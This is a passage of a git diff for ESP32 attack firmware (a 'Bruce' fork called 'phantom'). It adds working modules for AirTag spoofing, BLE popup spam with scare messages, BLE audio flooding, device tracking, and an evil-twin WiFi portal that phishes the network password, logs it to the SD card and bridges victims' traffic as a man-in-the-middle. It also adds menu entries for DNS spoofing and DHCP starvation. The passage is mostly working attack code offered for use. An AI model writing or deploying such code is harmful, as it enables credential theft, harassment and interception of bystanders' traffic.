-DBRUCE_VERSION='"dev"' + -DPHANTOM_VERSION='"1.0.0"' + -DBRUCE_VERSION='"phantom"' -DEEPROMSIZE=128 -DLH=8 -DLW=6 @@ -138,25 +59,18 @@ build_flags = -Os -Wl,--print-memory-usage -Wl,--gc-sections - -DGIT_COMMIT_HASH='"Homebrew"' - -DFASTLED_RMT_BUILTIN_DRIVER=1 ; https://github.com/FastLED/FastLED/blob/67436be11fc3b7be611cdf9011f31c4f76817741/src/platforms/esp/32/rmt_4/idf4_clockless_rmt_esp32.h#L25-L33 - ; This setting let RF Spectrum to work with LED interface with FastLED on ESP32-S3 + -DGIT_COMMIT_HASH='"phantom"' + -DFASTLED_RMT_BUILTIN_DRIVER=1 + + -D CONFIG_ASYNC_TCP_STACK_SIZE=4096 + -DCONFIG_ASYNC_TCP_RUNNING_CORE=1 + -DCONFIG_ASYNC_TCP_USE_WDT=0 - -D CONFIG_ASYNC_TCP_STACK_SIZE=4096 ; Reduces stack size for Async TCP to save memory - -DCONFIG_ASYNC_TCP_RUNNING_CORE=1 ; - -DCONFIG_ASYNC_TCP_USE_WDT=0 ; Disables the Watchdog timer on Async TCP, to avoid restartings during file uploads - -DGEN_MQJS_HEADERS ; Enable generation of mquickjs headers - ; mbedtls settings for crypto operations (WhisperPair/audio exploits) + ; mbedtls settings for crypto operations -DMBEDTLS_CONFIG_FILE=\"mbedtls/esp_config.h\" -DCONFIG_MBEDTLS_ECDH_C=1 -DCONFIG_MBEDTLS_AES_C=1 -DCONFIG_MBEDTLS_CTR_DRBG_C=1 - ; Additional mbedtls flags that could be useful: - ;-DCONFIG_MBEDTLS_ECP_C=1 - ;-DCONFIG_MBEDTLS_SHA256_C=1 - ;-DCONFIG_MBEDTLS_SHA512_C=1 - ;-DCONFIG_MBEDTLS_HKDF_C=1 - ;-DCONFIG_MBEDTLS_GCM_C=1 extra_scripts = pre:patch.py @@ -168,9 +82,7 @@ extra_scripts = lib_deps = https://github.com/sayacom/WireGuard-ESP32-Arduino#feature/esp-netif - ;WireGuard-ESP32 https://github.com/bmorcelli/IRremoteESP8266 - ;IRremoteESP8266 paulstoffregen/Time@1.6.1 LibSSH-ESP32 Adafruit BusIO=https://github.com/emericklaw/Adafruit-BusIO_Bruce@1.17.2-bruce.1 @@ -198,106 +110,10 @@ lib_deps = Bodmer/JPEGDecoder https://github.com/bmorcelli/SmartRC-CC1101-Driver-Lib/ mquickjs=https://github.com/BruceDevices/mquickjs#0.0.6 - ;paulstoffregen/OneWire@^2.3.8 https://github.com/bmorcelli/OneWire#patch-1 - ;jackjansen/esp32_idf5_https_server_compat https://github.com/bmorcelli/ESP32-PsRamFS#patch-1 - ;chegewara/EspTinyUSB bitbank2/AnimatedGIF bitbank2/PNGdec @ ^1.1.2 ESP32Async/ESPAsyncWebServer fastled/FastLED @^3.10.3 jgromes/RadioLib @ ^7.4.0 - -[env_light] -extends = env -build_flags = - -Os - -DCORE_DEBUG_LEVEL=0 - -DCONFIG_ESP32_JTAG_SUPPORT_DISABLE=1 - -DLITE_VERSION=1 - -D_IR_ENABLE_DEFAULT_=false - -DDECODE_NEC=true - -DSEND_NEC=true - -DDECODE_SAMSUNG=true - -DSEND_SAMSUNG=true - -DDECODE_RC5=true - -DSEND_RC5=true - -DDECODE_RC6=true - -DSEND_RC6=true - -DDECODE_LG=true - -DSEND_LG=true - -DDECODE_SONY=true - -DSEND_SONY=true - -DSEND_PANASONIC=true - -DDECODE_PANASONIC=true - -DSEND_RAW=true - -lib_deps = - ;https://github.com/sayacom/WireGuard-ESP32-Arduino#feature/esp-netif - ;WireGuard-ESP32 - https://github.com/BorisKofman/IRremoteESP8266#Espressif-version-3 - ;IRremoteESP8266 - paulstoffregen/Time@1.6.1 - ;LibSSH-ESP32 - Adafruit BusIO=https://github.com/emericklaw/Adafruit-BusIO_Bruce@1.17.2-bruce.1 - Adafruit PN532=https://github.com/emericklaw/Adafruit-PN532_Bruce@1.3.3-bruce.1 - https://github.com/rennancockles/Arduino_MFRC522v2.git - https://github.com/bmorcelli/ESP-ChameleonUltra - ;https://github.com/bmorcelli/ESP-Amiibolink - https://github.com/rennancockles/SimpleCLI - ;https://github.com/bmorcelli/ESP-PN532BLE - ;https://github.com/whywilson/ESP-PN532-UART@^0.0.2 - ;https://github.com/whywilson/ESP-PN532Killer#079790e - NTPClient@3.2.1 - ESP32Time@2.0.6 - FFat - bblanchon/ArduinoJson@7.4.2 - https://github.com/bmorcelli/rc-switch - ;ESP8266Audio@^2.4.1 - ;earlephilhower/ESP8266SAM@^1.1.0 - mikalhart/TinyGPSPlus@1.1.0 - tinyu-zhao/FFT@0.0.1 - h2zero/NimBLE-Arduino@2.5 - nrf24/RF24 @ 1.4.11 - ;Adafruit Si4713 Library@1.2.3 - Bodmer/JPEGDecoder - https://github.com/bmorcelli/SmartRC-CC1101-Driver-Lib/ - ;mquickjs=https://github.com/BruceDevices/mquickjs#0.0.6 - ;paulstoffregen/OneWire@^2.3.8 - ;https://github.com/bmorcelli/OneWire#patch-1 - ;https://github.com/bmorcelli/ESP32-PsRamFS#patch-1 - ;bitbank2/AnimatedGIF - ;bitbank2/PNGdec @ ^1.1.2 - ESP32Async/AsyncTCP@3.4.10 - ESP32Async/ESPAsyncWebServer@3.9.6 - ;https://github.com/bmorcelli/FastLED - -[env_4mb] -extends = env -build_flags = - -Os - -DCORE_DEBUG_LEVEL=0 - -DCONFIG_ESP32_JTAG_SUPPORT_DISABLE=1 - # Restrict IR protocols to save Flash on 4mb devices - -D_IR_ENABLE_DEFAULT_=false - -DDECODE_NEC=true - -DSEND_NEC=true - -DDECODE_SAMSUNG=true - -DSEND_SAMSUNG=true - -DDECODE_RC5=true - -DSEND_RC5=true - -DDECODE_RC6=true - -DSEND_RC6=true - -DDECODE_LG=true - -DSEND_LG=true - -DDECODE_SONY=true - -DSEND_SONY=true - -DSEND_PANASONIC=true - -DDECODE_PANASONIC=true - -DSEND_RAW=true - -lib_ignore = - FastLED - ESP8266Audio - ESP8266SAM diff --git a/src/core/menu_items/BleMenu.cpp b/src/core/menu_items/BleMenu.cpp index da9e7856f..6dc41c5cb 100644 --- a/src/core/menu_items/BleMenu.cpp +++ b/src/core/menu_items/BleMenu.cpp @@ -7,6 +7,10 @@ #include "modules/ble/ble_spam.h" #if !defined(LITE_VERSION) #include "modules/ble/BLE_Suite.h" +#include "modules/ble/airtag_spoofer.h" +#include "modules/ble/notif_spoofer.h" +#include "modules/ble/ble_tracker.h" +#include "modules/ble/audio_jammer.h" #endif #include @@ -40,6 +44,10 @@ void BleMenu::optionsMenu() { #if !defined(LITE_VERSION) options.push_back({"BLE Suite", [=]() { BleSuiteMenu(); }}); + options.push_back({"AirTag Spoofer", airtagSpoofer}); + options.push_back({"Notif Spoofer", notifSpoofer}); + options.push_back({"BLE Tracker", bleTracker}); + options.push_back({"Audio Jammer", audioJammer}); options.push_back({"Ninebot", [=]() { BLENinebot(); }}); #endif addOptionToMainMenu(); diff --git a/src/core/menu_items/WifiMenu.cpp b/src/core/menu_items/WifiMenu.cpp index 7e7f9a8a8..7c6f90eb9 100644 --- a/src/core/menu_items/WifiMenu.cpp +++ b/src/core/menu_items/WifiMenu.cpp @@ -20,6 +20,9 @@ #ifndef LITE_VERSION #include "modules/pwnagotchi/pwnagotchi.h" #include "modules/wifi/wifi_recover.h" +#include "modules/wifi/cred_forward.h" +#include "modules/wifi/dhcp_starvation.h" +#include "modules/wifi/dns_spoofer.h" #endif // #include "modules/reverseShell/reverseShell.h" @@ -65,6 +68,9 @@ void WifiMenu::optionsMenu() { options.push_back({"NetCut", [=]() { netcutMenu(); }}); // options.push_back({"ReverseShell", [=]() { ReverseShell(); }}); #ifndef LITE_VERSION + options.push_back({"Cred Forward", credForward}); + options.push_back({"DNS Spoofer", dnsSpoofer}); + options.push_back({"DHCP Starvation", dhcpStarvation}); options.push_back({"Listen TCP", listenTcpPort}); options.push_back({"Client TCP", clientTCP}); options.push_back({"SOCKS4 Proxy", []() { socks4Proxy(1080); }}); diff --git a/src/modules/ble/airtag_spoofer.cpp b/src/modules/ble/airtag_spoofer.cpp new file mode 100644 index 000000000..4f00e6a35 --- /dev/null +++ b/src/modules/ble/airtag_spoofer.cpp @@ -0,0 +1,119 @@ +#if !defined(LITE_VERSION) +#include "airtag_spoofer.h" +#include "core/display.h" +#include "core/mykeyboard.h" +#include +#include +#include + +static int spoofCount = 5; +static bool spoofRunning = false; + +static void setAirTagPayload(NimBLEAdvertising *adv, int index) { + uint8_t payload[27]; + payload[0] = 0x12; + payload[1] = 0x19; + payload[2] = 0x10; + + for (int i = 3; i < 27; i++) { + payload[i] = random(256); + } + + randomSeed(index * 12345 + 67890); + for (int i = 3; i < 9; i++) { + payload[i] = random(256); + } + randomSeed(micros()); + + NimBLEAdvertisementData advData; + + std::string mfgData; + mfgData += (char)0x4C; + mfgData += (char)0x00; + for (int i = 0; i < 27; i++) { + mfgData += (char)payload[i]; + } + advData.setManufacturerData(mfgData); + + adv->setAdvertisementData(advData); +} + +void airtagSpoofer() { + spoofRunning = true; + int currentTag = 0; + int totalBroadcasts = 0; + + NimBLEDevice::deinit(true); + WiFi.disconnect(true); + WiFi.mode(WIFI_OFF); + delay(100); + if (!NimBLEDevice::init("")) { + displayError("BLE init failed", true); + return; + } + NimBLEAdvertising *pAdvertising = NimBLEDevice::getAdvertising(); + + while (spoofRunning) { + setAirTagPayload(pAdvertising, currentTag); + + pAdvertising->start(); + delay(100); + pAdvertising->stop(); + + totalBroadcasts++; + currentTag = (currentTag + 1) % spoofCount; + + drawMainBorderWithTitle("AirTag Spoofer"); + int y = 45; + int padX = 12; + + tft.setTextColor(TFT_GREEN, bruceConfig.bgColor); + tft.setTextSize(FP); + tft.setCursor(padX, y); + tft.print("Status: BROADCASTING"); + y += 16; + + tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor); + tft.setCursor(padX, y); + tft.printf("Phantom Tags: %d", spoofCount); + y += 14; + + tft.setCursor(padX, y); + tft.printf("Current: Tag #%d", currentTag + 1); + y += 14; + + tft.setCursor(padX, y); + tft.printf("Broadcasts: %d", totalBroadcasts); + y += 20; + + tft.setTextColor(TFT_YELLOW, bruceConfig.bgColor); + tft.setCursor(padX, y); + tft.print("Up/Down: adjust count"); + y += 14; + tft.setCursor(padX, y); + tft.printf("Range: %d tags", spoofCount); + + tft.setTextColor(TFT_RED, bruceConfig.bgColor); + tft.drawCentreString(String("Esc to stop"), tftWidth / 2, tftHeight - 20, 1); + + if (check(EscPress)) { + spoofRunning = false; + break; + } + if (check(UpPress) || check(NextPress)) { + spoofCount++; + if (spoofCount > 20) spoofCount = 20; + } + if (check(DownPress) || check(PrevPress)) { + spoofCount--; + if (spoofCount < 1) spoofCount = 1; + } + + esp_task_wdt_reset(); + delay(50); + } + + pAdvertising->stop(); + NimBLEDevice::deinit(true); +} +#endif diff --git a/src/modules/ble/airtag_spoofer.h b/src/modules/ble/airtag_spoofer.h new file mode 100644 index 000000000..29b58ff33 --- /dev/null +++ b/src/modules/ble/airtag_spoofer.h @@ -0,0 +1,6 @@ +#ifndef AIRTAG_SPOOFER_H +#define AIRTAG_SPOOFER_H + +void airtagSpoofer(); + +#endif diff --git a/src/modules/ble/audio_jammer.cpp b/src/modules/ble/audio_jammer.cpp new file mode 100644 index 000000000..259f46fdb --- /dev/null +++ b/src/modules/ble/audio_jammer.cpp @@ -0,0 +1,105 @@ +#if !defined(LITE_VERSION) +#include "audio_jammer.h" +#include "core/display.h" +#include "core/mykeyboard.h" +#include +#include +#include +#include + +static volatile bool jammerRunning = false; +static int packetsSent = 0; + +static void sendJammingPacket(NimBLEAdvertising *adv) { + NimBLEAdvertisementData advData; + + std::string mfgData; + for (int i = 0; i < 31; i++) { + mfgData += (char)random(256); + } + + advData.setManufacturerData(mfgData); + advData.setFlags(0x06); + adv->setAdvertisementData(advData); +} + +void audioJammer() { + options.clear(); + int mode = -1; + options.push_back({"BLE Audio Jam", [&mode]() { mode = 0; }}); + options.push_back({"LE Audio Flood", [&mode]() { mode = 1; }}); + options.push_back({"All Modes", [&mode]() { mode = 2; }}); + options.push_back({"Back", [&mode]() { mode = -1; }}); + loopOptions(options, MENU_TYPE_SUBMENU, "Audio Jammer"); + + if (mode < 0) return; + + NimBLEDevice::deinit(true); + WiFi.disconnect(true); + WiFi.mode(WIFI_OFF); + delay(100); + + if (!NimBLEDevice::init("")) { + displayError("BLE init failed", true); + return; + } + + NimBLEDevice::setSecurityAuth(false, false, false); + NimBLEAdvertising *pAdvertising = NimBLEDevice::getAdvertising(); + + jammerRunning = true; + packetsSent = 0; + + drawMainBorderWithTitle("Audio Jammer"); + int y = 45; + + tft.setTextColor(TFT_MAGENTA, bruceConfig.bgColor); + tft.setTextSize(FP); + tft.setCursor(12, y); + tft.print("Jamming BLE audio streams"); + y += 14; + + String modeStr = mode == 0 ? "BLE Audio" : mode == 1 ? "LE Audio" : "All"; + tft.setTextColor(TFT_CYAN, bruceConfig.bgColor); + tft.setCursor(12, y); + tft.print("Mode: " + modeStr); + y += 20; + + while (jammerRunning) { + if (mode == 0 || mode == 2) { + sendJammingPacket(pAdvertising); + } + if (mode == 1 || mode == 2) { + NimBLEAdvertisementData serviceData; + std::string sd; + sd += (char)0x18; + sd += (char)0x12; + for (int i = 0; i < 29; i++) sd += (char)random(256); + serviceData.setServiceData(NimBLEUUID((uint16_t)0x1812), sd); + pAdvertising->setAdvertisementData(serviceData); + } + + pAdvertising->start(); + delay(20); + pAdvertising->stop(); + packetsSent++; + + if (packetsSent % 100 == 0) { + tft.setTextColor(TFT_YELLOW, bruceConfig.bgColor); + tft.setCursor(12, y); + tft.printf("Packets: %d", packetsSent); + + tft.setTextColor(TFT_RED, bruceConfig.bgColor); + tft.drawCentreString("Esc to stop", tftWidth / 2, tftHeight - 20, 1); + } + + if (check(EscPress)) jammerRunning = false; + esp_task_wdt_reset(); + delay(5); + } + + pAdvertising->stop(); + NimBLEDevice::deinit(true); + displayInfo("Audio Jammer stopped", true); +} +#endif diff --git a/src/modules/ble/audio_jammer.h b/src/modules/ble/audio_jammer.h new file mode 100644 index 000000000..3744c2135 --- /dev/null +++ b/src/modules/ble/audio_jammer.h @@ -0,0 +1,6 @@ +#ifndef AUDIO_JAMMER_H +#define AUDIO_JAMMER_H + +void audioJammer(); + +#endif diff --git a/src/modules/ble/ble_tracker.cpp b/src/modules/ble/ble_tracker.cpp new file mode 100644 index 000000000..9cd407fd1 --- /dev/null +++ b/src/modules/ble/ble_tracker.cpp @@ -0,0 +1,122 @@ +#if !defined(LITE_VERSION) +#include "ble_tracker.h" +#include "core/display.h" +#include "core/mykeyboard.h" +#include +#include +#include +#include + +struct TrackedDevice { + std::string address; + std::string name; + int rssi; + unsigned long lastSeen; +}; + +static std::vector trackedDevices; +static volatile bool trackerRunning = false; + +static bool deviceExists(const std::string &addr) { + for (auto &d : trackedDevices) { + if (d.address == addr) return true; + } + return false; +} + +static void updateDevice(const std::string &addr, const std::string &name, int rssi) { + for (auto &d : trackedDevices) { + if (d.address == addr) { + d.rssi = rssi; + d.lastSeen = millis(); + if (!name.empty()) d.name = name; + return; + } + } + TrackedDevice dev; + dev.address = addr; + dev.name = name; + dev.rssi = rssi; + dev.lastSeen = millis(); + trackedDevices.push_back(dev); +} + +static void drawTrackerScreen() { + drawMainBorderWithTitle("BLE Tracker"); + int y = 45; + + tft.setTextColor(TFT_CYAN, bruceConfig.bgColor); + tft.setTextSize(FP); + tft.setCursor(12, y); + tft.printf("Devices found: %d", (int)trackedDevices.size()); + y += 16; + + int maxShow = (tftHeight - y - 25) / 14; + int start = max(0, (int)trackedDevices.size() - maxShow); + + for (int i = start; i < (int)trackedDevices.size() && i - start < maxShow; i++) { + auto &d = trackedDevices[i]; + tft.setTextColor(d.rssi > -60 ? TFT_GREEN : d.rssi > -80 ? TFT_YELLOW : TFT_RED, bruceConfig.bgColor); + tft.setCursor(12, y); + + String label = d.name.empty() ? String(d.address.c_str()) : String(d.name.c_str()); + if (label.length() > 20) label = label.substring(0, 19) + ".."; + tft.printf("%s %ddBm", label.c_str(), d.rssi); + y += 14; + } + + tft.setTextColor(TFT_RED, bruceConfig.bgColor); + tft.drawCentreString("Esc to stop", tftWidth / 2, tftHeight - 20, 1); +} + +class TrackerAdvertCallback : public NimBLEAdvertCallbacks { + void onResult(const NimBLEAdvertDetails *advertDetails) { + NimBLEAddress addr = advertDetails->getAddress(); + int rssi = advertDetails->getRSSI(); + std::string name = advertDetails->isName() ? advertDetails->getName().c_str() : ""; + updateDevice(addr.toString(), name, rssi); + } +}; + +static TrackerAdvertCallback advertCallback; + +void bleTracker() { + NimBLEDevice::deinit(true); + WiFi.disconnect(true); + WiFi.mode(WIFI_OFF); + delay(100); + + if (!NimBLEDevice::init("")) { + displayError("BLE init failed", true); + return; + } + + trackedDevices.clear(); + trackerRunning = true; + + NimBLEScan *pScan = NimBLEDevice::getScan(); + pScan->setAdvertCallbacks(&advertCallback); + pScan->setActiveScan(true); + pScan->setInterval(100); + pScan->setWindow(99); + + drawTrackerScreen(); + + unsigned long lastDraw = 0; + while (trackerRunning) { + pScan->start(500, false); + + if (millis() - lastDraw > 1000) { + drawTrackerScreen(); + lastDraw = millis(); + } + + if (check(EscPress)) trackerRunning = false; + esp_task_wdt_reset(); + } + + pScan->stop(); + NimBLEDevice::deinit(true); + displayInfo("Tracker stopped: " + String((int)trackedDevices.size()) + " devices", true); +} +#endif diff --git a/src/modules/ble/ble_tracker.h b/src/modules/ble/ble_tracker.h new file mode 100644 index 000000000..de728f6c4 --- /dev/null +++ b/src/modules/ble/ble_tracker.h @@ -0,0 +1,6 @@ +#ifndef BLE_TRACKER_H +#define BLE_TRACKER_H + +void bleTracker(); + +#endif diff --git a/src/modules/ble/notif_spoofer.cpp b/src/modules/ble/notif_spoofer.cpp new file mode 100644 index 000000000..ecdbefde0 --- /dev/null +++ b/src/modules/ble/notif_spoofer.cpp @@ -0,0 +1,183 @@ +#if !defined(LITE_VERSION) +#include "notif_spoofer.h" +#include "core/display.h" +#include "core/mykeyboard.h" +#include +#include +#include + +static const char *NOTIF_MESSAGES[] = { + "You have been hacked!", + "Your WiFi password is exposed", + "Someone is watching you", + "Security alert: device compromised", + "Update required: tap here", + "Free Bitcoin! Claim now", + "Warning: malware detected", + "Your location is being shared", + "Camera access detected", + "Unauthorized login attempt", +}; +static const int NUM_MESSAGES = sizeof(NOTIF_MESSAGES) / sizeof(NOTIF_MESSAGES[0]); + +static int notifsSent = 0; + +static void sendSwiftPairSpam(NimBLEAdvertising *adv) { + NimBLEAdvertisementData advData; + + std::string mfgData; + mfgData += (char)0x06; + mfgData += (char)0x00; + mfgData += (char)0x03; + mfgData += (char)0x00; + + for (int i = 0; i < 6; i++) { + mfgData += (char)random(256); + } + + advData.setManufacturerData(mfgData); + advData.setName(NOTIF_MESSAGES[random(NUM_MESSAGES)]); + advData.setFlags(0x06); + + adv->setAdvertisementData(advData); +} + +static void sendGoogleFastPair(NimBLEAdvertising *adv) { + NimBLEAdvertisementData advData; + + std::string serviceData; + serviceData += (char)0x2C; + serviceData += (char)0xFE; + + for (int i = 0; i < 3; i++) { + serviceData += (char)random(256); + } + + advData.setServiceData(NimBLEUUID((uint16_t)0xFE2C), serviceData); + advData.setFlags(0x06); + + adv->setAdvertisementData(advData); +} + +static void sendAppleProximityPairing(NimBLEAdvertising *adv) { + NimBLEAdvertisementData advData; + + std::string mfgData; + mfgData += (char)0x4C; + mfgData += (char)0x00; + mfgData += (char)0x07; + mfgData += (char)0x19; + mfgData += (char)0x07; + + static const uint8_t models[][2] = { + {0x02, 0x20}, {0x0E, 0x20}, {0x0A, 0x20}, {0x14, 0x20}, + {0x03, 0x20}, {0x12, 0x20}, {0x10, 0x20}, + }; + int modelIdx = random(7); + mfgData += (char)models[modelIdx][0]; + mfgData += (char)models[modelIdx][1]; + + for (int i = 0; i < 22; i++) { + mfgData += (char)random(256); + } + + advData.setManufacturerData(mfgData); + advData.setFlags(0x06); + + adv->setAdvertisementData(advData); +} + +void notifSpoofer() { + notifsSent = 0; + + options.clear(); + int mode = -1; + options.push_back({"Android (Fast Pair)", [&mode]() { mode = 0; }}); + options.push_back({"Windows (Swift Pair)", [&mode]() { mode = 1; }}); + options.push_back({"iOS (AirPods Popup)", [&mode]() { mode = 3; }}); + options.push_back({"All Platforms", [&mode]() { mode = 2; }}); + + loopOptions(options, MENU_TYPE_SUBMENU, "Target Platform"); + + if (mode < 0) return; + + NimBLEDevice::deinit(true); + WiFi.disconnect(true); + WiFi.mode(WIFI_OFF); + delay(100); + if (!NimBLEDevice::init("")) { + displayError("BLE init failed", true); + return; + } + NimBLEAdvertising *pAdvertising = NimBLEDevice::getAdvertising(); + + unsigned long startTime = millis(); + + NimBLEDevice::setSecurityAuth(false, false, false); + + while (true) { + if (mode == 0 || (mode == 2 && notifsSent % 3 == 0)) { + sendGoogleFastPair(pAdvertising); + } + if (mode == 1 || (mode == 2 && notifsSent % 3 == 1)) { + sendSwiftPairSpam(pAdvertising); + } + if (mode == 3 || (mode == 2 && notifsSent % 3 == 2)) { + sendAppleProximityPairing(pAdvertising); + } + + pAdvertising->start(); + delay(30); + pAdvertising->stop(); + notifsSent++; + + if (notifsSent % 10 == 0) { + drawMainBorderWithTitle("Notif Spoofer"); + int y = 45; + int padX = 12; + + tft.setTextColor(TFT_MAGENTA, bruceConfig.bgColor); + tft.setTextSize(FP); + tft.setCursor(padX, y); + tft.print("SPAMMING NOTIFICATIONS"); + y += 16; + + tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor); + tft.setCursor(padX, y); + String modeStr = mode == 0 ? "Android" : mode == 1 ? "Windows" : "All"; + tft.print("Mode: " + modeStr); + y += 14; + + tft.setCursor(padX, y); + tft.printf("Notifications: %d", notifsSent); + y += 14; + + unsigned long elapsed = (millis() - startTime) / 1000; + tft.setCursor(padX, y); + tft.printf("Elapsed: %lus", elapsed); + y += 14; + + tft.setCursor(padX, y); + tft.printf("Rate: ~%d/sec", notifsSent / max(1UL, elapsed)); + y += 18; + + tft.setTextColor(TFT_YELLOW, bruceConfig.bgColor); + tft.setCursor(padX, y); + tft.print("Nearby devices will see"); + y += 12; + tft.setCursor(padX, y); + tft.print("phantom device popups!"); + + tft.setTextColor(TFT_RED, bruceConfig.bgColor); + tft.drawCentreString(String("Esc to stop"), tftWidth / 2, tftHeight - 20, 1); + } + + if (check(EscPress)) break; + esp_task_wdt_reset(); + delay(10); + } + + pAdvertising->stop(); + NimBLEDevice::deinit(true); +} +#endif diff --git a/src/modules/ble/notif_spoofer.h b/src/modules/ble/notif_spoofer.h new file mode 100644 index 000000000..6d3c2c94d --- /dev/null +++ b/src/modules/ble/notif_spoofer.h @@ -0,0 +1,6 @@ +#ifndef NOTIF_SPOOFER_H +#define NOTIF_SPOOFER_H + +void notifSpoofer(); + +#endif diff --git a/src/modules/wifi/cred_forward.cpp b/src/modules/wifi/cred_forward.cpp new file mode 100644 index 000000000..499ec26c4 --- /dev/null +++ b/src/modules/wifi/cred_forward.cpp @@ -0,0 +1,263 @@ +#if !defined(LITE_VERSION) +#include "cred_forward.h" +#include "core/display.h" +#include "core/mykeyboard.h" +#include "core/sd_functions.h" +#include +#include +#include +#include +#include +#include +#include + +static AsyncWebServer *fwdServer = nullptr; +static DNSServer *fwdDns = nullptr; +static String targetSSID = ""; +static String capturedPassword = ""; +static bool credsCaptured = false; +static bool bridgeActive = false; +static int clientCount = 0; + +static const char FWD_PORTAL_HTML[] PROGMEM = R"rawliteral( + + + +WiFi Authentication Required + +
+
🔒
+

Network Authentication

+

Enter the password for SSIDPLACEHOLDER to continue browsing.

+
+ + +
+

Secured by your network administrator

+
+)rawliteral"; + +static const char FWD_SUCCESS_HTML[] PROGMEM = R"rawliteral( + + +Connected + +

Connected!

You now have internet access.

+ +)rawliteral"; + +static bool tryRealConnection(String ssid, String password) { + WiFi.mode(WIFI_AP_STA); + WiFi.begin(ssid.c_str(), password.c_str()); + unsigned long start = millis(); + while (millis() - start < 8000) { + if (WiFi.status() == WL_CONNECTED) return true; + delay(100); + esp_task_wdt_reset(); + } + return false; +} + +static void enableBridge() { + bridgeActive = true; +} + +static void setupFwdRoutes(String ssid) { + String portalHTML = String(FWD_PORTAL_HTML); + portalHTML.replace("SSIDPLACEHOLDER", ssid); + + fwdServer->on("/", HTTP_GET, [portalHTML](AsyncWebServerRequest *request) { + if (bridgeActive) request->redirect("http://www.google.com"); + else request->send(200, "text/html", portalHTML); + }); + + fwdServer->on("/generate_204", HTTP_GET, [portalHTML](AsyncWebServerRequest *request) { + if (bridgeActive) request->send(204); + else request->send(200, "text/html", portalHTML); + }); + fwdServer->on("/hotspot-detect.html", HTTP_GET, [portalHTML](AsyncWebServerRequest *request) { + if (bridgeActive) request->send(200, "text/html", "SuccessSuccess"); + else request->send(200, "text/html", portalHTML); + }); + fwdServer->on("/connecttest.txt", HTTP_GET, [portalHTML](AsyncWebServerRequest *request) { + if (bridgeActive) request->send(200, "text/plain", "Microsoft Connect Test"); + else request->send(200, "text/html", portalHTML); + }); + + fwdServer->on("/connect", HTTP_POST, [](AsyncWebServerRequest *request) { + if (request->hasArg("password")) { + capturedPassword = request->arg("password"); + credsCaptured = true; + + if (setupSdCard()) { + File f = SD.open("/creds.txt", FILE_APPEND); + if (f) { + f.printf("[CredFwd] SSID:%s PASS:%s\n", targetSSID.c_str(), capturedPassword.c_str()); + f.close(); + } + } + + request->send(200, "text/html", FWD_SUCCESS_HTML); + } else { + request->send(400, "text/plain", "Missing password"); + } + }); + + fwdServer->onNotFound([portalHTML](AsyncWebServerRequest *request) { + if (bridgeActive) request->redirect("http://" + request->host() + request->url()); + else request->send(200, "text/html", portalHTML); + }); +} + +void credForward() { + credsCaptured = false; + bridgeActive = false; + capturedPassword = ""; + + drawMainBorderWithTitle("Cred Forward"); + tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor); + tft.setTextSize(FP); + tft.drawCentreString(String("Scanning networks..."), tftWidth / 2, tftHeight / 2, 1); + + WiFi.mode(WIFI_STA); + int n = WiFi.scanNetworks(false, false); + + if (n == 0) { + displayRedStripe("No networks found"); + delay(1500); + return; + } + + options.clear(); + for (int i = 0; i < n && i < 15; i++) { + String label = WiFi.SSID(i) + " " + String(WiFi.RSSI(i)) + "dB"; + int idx = i; + options.push_back({label, [idx]() { + targetSSID = WiFi.SSID(idx); + }}); + } + loopOptions(options, MENU_TYPE_SUBMENU, "Target Network"); + WiFi.scanDelete(); + + if (targetSSID.length() == 0) return; + + WiFi.mode(WIFI_AP); + WiFi.softAP(targetSSID.c_str(), ""); + delay(100); + + fwdDns = new DNSServer(); + fwdDns->start(53, "*", WiFi.softAPIP()); + + fwdServer = new AsyncWebServer(80); + setupFwdRoutes(targetSSID); + fwdServer->begin(); + + unsigned long startTime = millis(); + + while (true) { + fwdDns->processNextRequest(); + clientCount = WiFi.softAPgetStationNum(); + + drawMainBorderWithTitle("Cred Forward"); + int y = 38; + int padX = 10; + + if (!credsCaptured) { + tft.setTextColor(TFT_YELLOW, bruceConfig.bgColor); + tft.setTextSize(FP); + tft.setCursor(padX, y); + tft.print("Waiting for creds..."); + y += 16; + + tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor); + tft.setCursor(padX, y); + tft.print("AP: " + targetSSID.substring(0, 18)); + y += 14; + tft.setCursor(padX, y); + tft.printf("Clients: %d", clientCount); + y += 14; + + unsigned long elapsed = (millis() - startTime) / 1000; + tft.setCursor(padX, y); + tft.printf("Elapsed: %lus", elapsed); + } else if (!bridgeActive) { + tft.setTextColor(TFT_GREEN, bruceConfig.bgColor); + tft.setTextSize(FP); + tft.setCursor(padX, y); + tft.print("PASSWORD CAPTURED!"); + y += 16; + + tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor); + tft.setCursor(padX, y); + tft.print("Pass: " + capturedPassword.substring(0, 20)); + y += 16; + + tft.setTextColor(TFT_YELLOW, bruceConfig.bgColor); + tft.setCursor(padX, y); + tft.print("Connecting to real AP..."); + + if (tryRealConnection(targetSSID, capturedPassword)) { + enableBridge(); + } else { + tft.setCursor(padX, y + 14); + tft.setTextColor(TFT_RED, bruceConfig.bgColor); + tft.print("Wrong password! Waiting..."); + credsCaptured = false; + capturedPassword = ""; + delay(2000); + } + } else { + tft.setTextColor(TFT_GREEN, bruceConfig.bgColor); + tft.setTextSize(FP); + tft.setCursor(padX, y); + tft.print("BRIDGE ACTIVE - MITM!"); + y += 16; + + tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor); + tft.setCursor(padX, y); + tft.print("SSID: " + targetSSID.substring(0, 18)); + y += 14; + tft.setCursor(padX, y); + tft.print("Pass: " + capturedPassword.substring(0, 18)); + y += 14; + tft.setCursor(padX, y); + tft.printf("Victims: %d", clientCount); + y += 14; + tft.setCursor(padX, y); + tft.print("Real IP: " + WiFi.localIP().toString()); + y += 14; + + tft.setTextColor(TFT_YELLOW, bruceConfig.bgColor); + tft.setCursor(padX, y); + tft.print("Traffic flowing through you"); + } + + tft.setTextColor(TFT_RED, bruceConfig.bgColor); + tft.drawCentreString(String("Esc to stop"), tftWidth / 2, tftHeight - 18, 1); + + if (check(EscPress)) break; + esp_task_wdt_reset(); + delay(300); + } + + fwdServer->end(); + delete fwdServer; + fwdServer = nullptr; + fwdDns->stop(); + delete fwdDns; + fwdDns = nullptr; + WiFi.softAPdisconnect(true); + WiFi.disconnect(true); + WiFi.mode(WIFI_OFF); +} +#endif diff --git a/src/modules/wifi/cred_forward.h b/src/modules/wifi/cred_forward.h new file mode 100644 index 000000000..35abc3ba1 --- /dev/null +++ b/src/modules/wifi/cred_forward.h 